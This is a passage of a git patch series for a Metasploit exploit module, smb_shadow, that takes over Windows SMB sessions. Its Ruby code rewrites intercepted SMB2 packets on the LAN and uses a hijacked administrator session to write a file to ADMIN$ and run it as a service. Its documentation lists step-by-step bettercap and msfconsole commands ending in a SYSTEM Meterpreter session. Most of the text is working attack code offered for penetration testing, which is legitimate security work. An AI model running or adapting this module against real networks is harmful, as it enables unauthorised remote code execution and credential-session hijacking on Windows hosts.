<50933431+usiegl00@users.noreply.github.com> Date: Thu, 25 Nov 2021 08:12:13 +0900 Subject: [PATCH 2/8] Update documentation for the smb_shadow module. Add additional clarity and details to the existing documentation for the smb_shadow module. Remove some outdated comments and fix some spelling errors. --- .../modules/exploit/windows/smb/smb_shadow.md | 19 +++++---- modules/exploits/windows/smb/smb_shadow.rb | 39 +++++++++++++++++-- 2 files changed, 46 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/smb_shadow.md b/documentation/modules/exploit/windows/smb/smb_shadow.md index 54315885468b..52c902969b8c 100644 --- a/documentation/modules/exploit/windows/smb/smb_shadow.md +++ b/documentation/modules/exploit/windows/smb/smb_shadow.md @@ -4,15 +4,17 @@ To be able to use exploit/windows/smb/smb_shadow, you must meet these requiremen * There is a Windows SMB Server on the LAN * There is a Windows SMB Client on the LAN -* Metasploit is running will full local socket access (ex. as root user) +* Metasploit is running will full local socket access (e.g. as root user) ## Verification Steps -1. Run bettercap targeting both the SMB Client and Server -2. Start msfconsole -3. Do `use exploit/windows/smb/smb_shadow` -4. Do `run` -5. Wait for the SMB Client to connect to the SMB Server as Administrator +1. Ensure Windows SMB Client and Server are on the LAN +2. Run bettercap targeting both the SMB Client and Server +3. Start msfconsole +4. Do `use exploit/windows/smb/smb_shadow` +5. Do `run` +6. Make a SMB Client connect to the SMB Server as an Administrator +7. Receive a Meterpreter Session as SYSTEM on the SMB Server host ## Scenarios @@ -21,7 +23,8 @@ To be able to use exploit/windows/smb/smb_shadow, you must meet these requiremen Follow the following steps to target all the hosts on the LAN: 1. Run bettercap targeting the entire LAN -2. Start msfconole +2. Start msfconsole 3. Do `use exploit/windows/smb/smb_shadow` 4. Do `run` -5. Wait for any SMB Client to connect to any SMB Server as Administrator +5. Wait for any SMB Client to connect to any SMB Server as an Administrator +6. Receive a Meterpreter Session as SYSTEM on the SMB Server host diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index 89e169e8d28a..7a97e4447f16 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -22,6 +22,10 @@ def initialize(info = {}) SMB Direct Session takeover is a combination of previous attacks. + This module is dependent on an external ARP spoofer. The builtin ARP + spoofer was not providing sufficient host discovery. Bettercap v1.6.2 + was used during the development of this module. + The original SMB relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. }, @@ -52,8 +56,8 @@ def initialize(info = {}) register_options( [ - #OptAddress.new('SMBHOST', [ false, "The target SMB server" ]), OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]) + # For future cross LAN work: #OptString.new('GATEWAY', [ true, "The network gateway ip address" ]) ]) @@ -70,6 +74,7 @@ def exploit @ip4 = ipv4_addresses[@interface]&.first raise "ERROR : Interface does not have address: #{@interface}" unless @ip4&.count(".") == 3 @mac = get_mac(@interface) + # For future cross LAN work: (Gateway is required.) #raise "ERROR : Interface does not have mac: #{@interface}" unless @mac #@gateip4 = datastore['GATEWAY'] #raise "ERROR : Invalid Gateway ip address: #{@gateip4}" unless @gateip4&.count(".") == 3 @@ -86,6 +91,8 @@ def exploit main_capture end + # This prevents the TCP SYN on port 445 from passing through the filter. + # This allows us to have the time to modify the packets before forwarding them. def disable_p445_fwrd if RUBY_PLATFORM.include?("darwin") IO.popen("pfctl -f -", "r+", err: "/dev/null") do |pfctl| @@ -103,6 +110,7 @@ def disable_p445_fwrd return true end + # This starts the SYN capture thread as part of step two. def start_syn_capture @syn_capture_thread = Thread.new { c = PacketFu::Capture.new(iface: @interface, promisc: true) @@ -122,6 +130,7 @@ def start_syn_capture } end + # This starts the ACK capture thread as part of step two. def start_ack_capture @ack_capture_thread = Thread.new { c = PacketFu::Capture.new(iface: @interface, promisc: true) @@ -142,6 +151,9 @@ def start_ack_capture } end + # This sends an arp packet out to the network and captures the response. + # This allows us to resolve mac addresses in real time. + # We need the mac address of the server and client. def arp(smac: @mac, dmac: "ff:ff:ff:ff:ff:ff", sha: @mac, spa: @ip4, tha: "00:00:00:00:00:00", tpa: "", op: 1, @@ -164,6 +176,7 @@ def arp(smac: @mac, dmac: "ff:ff:ff:ff:ff:ff", c.save c.array.each do |pkt| pkt = PacketFu::Packet.parse pkt + # This decodes the arp packet and returns the query response. return pkt.arp_header.arp_src_mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") if pkt.arp_header.arp_src_ip == tpa.split(".").map(&:to_i).pack("C*") return pkt.arp_header.arp_src_ip.to_s.bytes.map(&:to_s).join(".") if pkt.arp_header.src_mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") == tha end @@ -172,6 +185,7 @@ def arp(smac: @mac, dmac: "ff:ff:ff:ff:ff:ff", end end + # This returns a hash of local interfaces and their ip addresses. def ipv4_addresses results = {} Socket.getifaddrs.each do |iface| @@ -183,7 +197,10 @@ def ipv4_addresses return results end + # This is the main capture thread that handles all SMB packets routed through this module. def main_capture + # This makes sense in the context of the paper. + # Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack mc = PacketFu::Capture.new(iface: @interface, promisc: true) mc.capture mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42") @@ -195,18 +212,17 @@ def main_capture if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") # Negotiate Protocol Request if (smb2[11..12] == "\x00\x00") - #if packet.smb2.command == 0 && !packet.smb2.flags_response? smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) # Dialect Count Set To 1 smb_packet.dialect_count = 1 smb_packet.dialects = [smb_packet.dialects.first] smb_packet.negotiate_context_list = [] smb_packet.client_start_time = 0 - # Re-Calculate Length: + # Re-Calculate Length: (Optional...) #nss = [smb_packet.to_binary_s.size].pack("L>") packet.payload = "#{nss}#{smb_packet.to_binary_s}" # Session Setup Request, NTLMSSP_AUTH - elsif smb2[11..12] == "\x00\x01"# && !packet.smb2_sessionsetup_request.buffer[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID) + elsif smb2[11..12] == "\x00\x01" smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) if smb_packet.smb2_header.session_id != 0 # Disable Session @@ -231,6 +247,8 @@ def main_capture end end + # This handles a session that has already authenticated to the server. + # This allows us to offload the session from the main capture thead. def main_thread(packet) # Setup Vars tree_id = 0 @@ -559,6 +577,7 @@ def main_thread(packet) # Done. end + # This sends a packet and captures the response. def get_response(packet) packet.recalc rc = PacketFu::Capture.new(iface: @interface, promisc: true) @@ -571,6 +590,7 @@ def get_response(packet) return response end + # This generates the TCP header for a new packet based on the previous one. def make_tcp_header(response) return PacketFu::TCPHeader.new( tcp_src: response.tcp_header.tcp_dst, @@ -582,6 +602,7 @@ def make_tcp_header(response) ) end + # This sets the smb2 header flags on the request with the provided values. def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.smb2_header.tree_id = tree_id request.smb2_header.process_id = process_id @@ -592,22 +613,32 @@ def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) return nil end + # This converts a string to a binary mac. def str2mac(str) return [str.split(":").join].pack("H*") end + + # This converts a binary mac to a string. def mac2str(mac) return mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") end + + # This converts a string to a binary ip. def str2ip(str) return str.split(".").map(&:to_i).pack("C*") end + + # This converts a binary ip to a string. def ip2str(ip) return ip.bytes.map(&:to_s).join(".") end + + # This converts an integer to a binary ip. def int2ip(int) return [int].pack("L>") end + # This cleans up and exits all the active threads. def cleanup print_status "Cleaning Up..." @syn_capture_thread.exit if @syn_capture_thread From bfd57daea74c0985d0bce9acc7826490087adaba Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Thu, 25 Nov 2021 15:05:39 +0900 Subject: [PATCH 3/8] Update Range Syntax to Support Ruby 2.5 Change [?..] to [?..-1] to be compatible with older ruby versions. Fix failing msftidy rubocop linting tests. --- modules/exploits/windows/smb/smb_shadow.rb | 44 +++++++++++----------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index 7a97e4447f16..236b47df53f9 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -207,7 +207,7 @@ def main_capture mc.stream.each_data do |data| packet = PacketFu::Packet.parse(data) nss = packet.payload[0..3] - smb2 = packet.payload[4..] + smb2 = packet.payload[4..-1] # Only Parse Packets from known sessions if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") # Negotiate Protocol Request @@ -260,7 +260,7 @@ def main_thread(packet) packet.eth_header.eth_src = eth_src packet.eth_header.eth_dst = eth_dst response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1]) print_status("Connecting to the defined share...") request = RubySMB::SMB2::Packet::TreeConnectRequest.new @@ -277,7 +277,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status != 0 raise "Access Denied." end @@ -310,7 +310,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id opts = { servicename: servicename, @@ -329,7 +329,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1]) end print_status("Created \\#{filename}...") @@ -339,13 +339,13 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1]) print_status("Connecting to the Service Control Manager...") request = RubySMB::SMB2::Packet::TreeConnectRequest.new @@ -354,7 +354,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) tree_id = response_smb2.smb2_header.tree_id request = RubySMB::SMB2::Packet::CreateRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -373,7 +373,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl) request = RubySMB::SMB2::Packet::WriteRequest.new @@ -384,7 +384,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::ReadRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id @@ -393,7 +393,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1]) open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04) open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src)) open_scmw_request.lp_database_name = "ServicesActive" @@ -408,7 +408,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s) servicename = rand_text_alpha(8) @@ -446,7 +446,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) print_status("Closing service handle...") dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) @@ -462,7 +462,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF) open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle open_sw_request.lp_service_name = servicename @@ -477,7 +477,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s) @@ -494,10 +494,10 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status == 0x103 response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) end print_status("Removing the service...") @@ -514,7 +514,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) print_status("Closing service handle...") csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle) @@ -529,13 +529,13 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1]) print_status("Deleting \\#{filename}...") request = RubySMB::SMB2::Packet::TreeConnectRequest.new @@ -548,7 +548,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) tree_id = response_smb2.smb2_header.tree_id request = RubySMB::SMB2::Packet::CreateRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -565,7 +565,7 @@ def main_thread(packet) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" response = get_response(packet) - response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..]) + response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::SetInfoRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION From 260ea0725ca6f3a446be0ee61b6969d7984d8c9c Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Fri, 3 Dec 2021 14:33:40 +0900 Subject: [PATCH 4/8] Update smb_shadow module and docs for review Add mutex to module to prevent race condition. Add sleep to after arp query to prevent arp cache restoration. Add DefangedMode to indicate system network changes. Change module INTERFACE option to be explicit. Remove unnecessary module payload parameters. Add module Notes. --- .../modules/exploit/windows/smb/smb_shadow.md | 24 +- modules/exploits/windows/smb/smb_shadow.rb | 453 ++++++++++-------- 2 files changed, 263 insertions(+), 214 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/smb_shadow.md b/documentation/modules/exploit/windows/smb/smb_shadow.md index 52c902969b8c..1498a1c9c7bd 100644 --- a/documentation/modules/exploit/windows/smb/smb_shadow.md +++ b/documentation/modules/exploit/windows/smb/smb_shadow.md @@ -9,12 +9,14 @@ To be able to use exploit/windows/smb/smb_shadow, you must meet these requiremen ## Verification Steps 1. Ensure Windows SMB Client and Server are on the LAN -2. Run bettercap targeting both the SMB Client and Server -3. Start msfconsole +2. Run bettercap targeting both the SMB Client and Server (`bettercap -I -T ,`) +3. Start msfconsole (`sudo msfconsole`) 4. Do `use exploit/windows/smb/smb_shadow` -5. Do `run` -6. Make a SMB Client connect to the SMB Server as an Administrator -7. Receive a Meterpreter Session as SYSTEM on the SMB Server host +5. Do `set INTERFACE ` +6. Do `set DefangedMode false` +7. Do `run` +8. Make a SMB Client connect to the SMB Server as an Administrator +9. Receive a Meterpreter Session as SYSTEM on the SMB Server host ## Scenarios @@ -22,9 +24,11 @@ To be able to use exploit/windows/smb/smb_shadow, you must meet these requiremen Follow the following steps to target all the hosts on the LAN: -1. Run bettercap targeting the entire LAN -2. Start msfconsole +1. Run bettercap targeting the entire LAN (`bettercap -I `) +2. Start msfconsole (`sudo msfconsole`) 3. Do `use exploit/windows/smb/smb_shadow` -4. Do `run` -5. Wait for any SMB Client to connect to any SMB Server as an Administrator -6. Receive a Meterpreter Session as SYSTEM on the SMB Server host +4. Do `set INTERFACE ` +5. Do `set DefangedMode false` +6. Do `run` +7. Wait for any SMB Client to connect to any SMB Server as an Administrator +8. Receive a Meterpreter Session as SYSTEM on the SMB Server host diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index 236b47df53f9..b4129451ccf8 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -4,184 +4,232 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ManualRanking include Msf::Exploit::Remote::Capture include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows SMB Direct Session Takeover', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft Windows SMB Direct Session Takeover', + 'Description' => %q{ This module will intercept direct SMB authentication requests to - another host, gaining access to an authenticated SMB session if - successful. If the connecting user is an administrator and network - logins are allowed to the target machine, this module will execute an - arbitrary payload. To exploit this, the target system must try to - autheticate to another host on the local area network. - - SMB Direct Session takeover is a combination of previous attacks. - - This module is dependent on an external ARP spoofer. The builtin ARP - spoofer was not providing sufficient host discovery. Bettercap v1.6.2 - was used during the development of this module. - - The original SMB relay attack was first reported by Sir Dystic on March - 31st, 2001 at @lanta.con in Atlanta, Georgia. - }, - 'Author' => - [ + another host, gaining access to an authenticated SMB session if + successful. If the connecting user is an administrator and network + logins are allowed to the target machine, this module will execute an + arbitrary payload. To exploit this, the target system must try to + autheticate to another host on the local area network. + + SMB Direct Session takeover is a combination of previous attacks. + + This module is dependent on an external ARP spoofer. The builtin ARP + spoofer was not providing sufficient host discovery. Bettercap v1.6.2 + was used during the development of this module. + + The original SMB relay attack was first reported by Sir Dystic on March + 31st, 2001 at @lanta.con in Atlanta, Georgia. + }, + 'Author' => [ 'usiegl00' ], - 'License' => MSF_LICENSE, - 'Privileged' => true, - 'Payload' => - { - 'Space' => 2048, - 'DisableNops' => true, - 'StackAdjustment' => -3500, - }, - 'References' => - [ - [ 'URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack' ] + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Payload' => {}, + 'References' => [ + ['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack'] ], - 'Arch' => [ARCH_X86, ARCH_X64], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ] + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'Targets' => [ + ['Automatic', {}] ], - 'DisclosureDate' => '2021-02-16', - 'DefaultTarget' => 0 )) + 'DisclosureDate' => '2021-02-16', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ SERVICE_RESOURCE_LOSS ], + 'Reliability' => [ UNRELIABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] + } + ) + ) register_options( [ - OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]) + OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']), + OptString.new('INTERFACE', [true, 'The name of the interface']), + OptString.new('DefangedMode', [true, 'Run in defanged mode', true]), + OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]) # For future cross LAN work: - #OptString.new('GATEWAY', [ true, "The network gateway ip address" ]) - ]) + # OptString.new('GATEWAY', [ true, "The network gateway ip address" ]) + ] + ) - deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT','TIMEOUT') + deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', + 'TIMEOUT') end def exploit - print_good("INFO : Warming up...") - print_error("WARNING : Not running as Root. This can cause socket permission issues.") unless Process.uid == 0 + if datastore['DefangedMode'].to_s == 'true' + warning = <<~EOF + + Are you SURE you want to modify your port forwarding tables? + You MAY contaminate your current network configuration. + + Disable the DefangedMode option if you wish to proceed. + EOF + fail_with(Failure::BadConfig, warning) + end + print_good('INFO : Warming up...') + print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0 @sessions = {} + @mutex = Mutex.new @main_threads = [] - @interface = datastore['INTERFACE'] || Pcap.lookupdev - raise "ERROR : Interface not found: #{@interface}" unless Socket.getifaddrs.map(&:name).include? @interface + @interface = datastore['INTERFACE'] # || Pcap.lookupdev + unless Socket.getifaddrs.map(&:name).include? @interface + fail_with(Failure::BadConfig, + "Interface not found: #{@interface}") + end @ip4 = ipv4_addresses[@interface]&.first - raise "ERROR : Interface does not have address: #{@interface}" unless @ip4&.count(".") == 3 + fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3 @mac = get_mac(@interface) + fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String) # For future cross LAN work: (Gateway is required.) - #raise "ERROR : Interface does not have mac: #{@interface}" unless @mac - #@gateip4 = datastore['GATEWAY'] - #raise "ERROR : Invalid Gateway ip address: #{@gateip4}" unless @gateip4&.count(".") == 3 - #@gatemac = arp(tpa: @gateip4) - #raise "ERROR : Unable to retrieve Gateway mac address: #{@gateip4}" unless @gatemac && @gatemac.class == String + # @gateip4 = datastore['GATEWAY'] + # fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3 + # @gatemac = arp(tpa: @gateip4) + # fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String @share = datastore['SHARE'] print_status("Self: #{@ip4} | #{@mac}") - #print_status("Gateway: #{@gateip4} | #{@gatemac}") + # print_status("Gateway: #{@gateip4} | #{@gatemac}") disable_p445_fwrd start_syn_capture start_ack_capture - print_status("INFO : This module must be run alongside an arp spoofer / poisoner.") - print_status("INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.") + print_status('INFO : This module must be run alongside an arp spoofer / poisoner.') + print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.') main_capture + ensure + cleanup end # This prevents the TCP SYN on port 445 from passing through the filter. # This allows us to have the time to modify the packets before forwarding them. def disable_p445_fwrd - if RUBY_PLATFORM.include?("darwin") - IO.popen("pfctl -f -", "r+", err: "/dev/null") do |pfctl| - pfctl.write("block out on #{@interface} proto tcp from any to any port 445\n") - pfctl.close_write + if RUBY_PLATFORM.include?('darwin') + pfctl = Rex::FileUtils.find_full_path('pfctl') + unless pfctl + fail_with(Failure::NotFound, 'The pfctl executable could not be found.') + return + end + IO.popen("#{pfctl} -f -", 'r+', err: '/dev/null') do |pf| + pf.write("block out on #{@interface} proto tcp from any to any port 445\n") + pf.close_write end - IO.popen("pfctl -e", err: "/dev/null").close - elsif RUBY_PLATFORM.include?("nix") - %x{iptables -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP} + IO.popen("#{pfctl} -e", err: '/dev/null').close + elsif RUBY_PLATFORM.include?('linux') + iptables = Rex::FileUtils.find_full_path('iptables') + unless iptables + fail_with(Failure::NotFound, 'The iptables executable could not be found.') + return + end + `#{iptables} -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP` else print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}") - print_error("WARNING : Port 445 forwarding must be blocked manually.") + print_error('WARNING : Packet forwarding on port 445 must be blocked manually.') + fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.') + return end - print_good("INFO : Port 445 forwarding disabled.") - return true + print_good('INFO : Packet forwarding on port 445 disabled.') + true end # This starts the 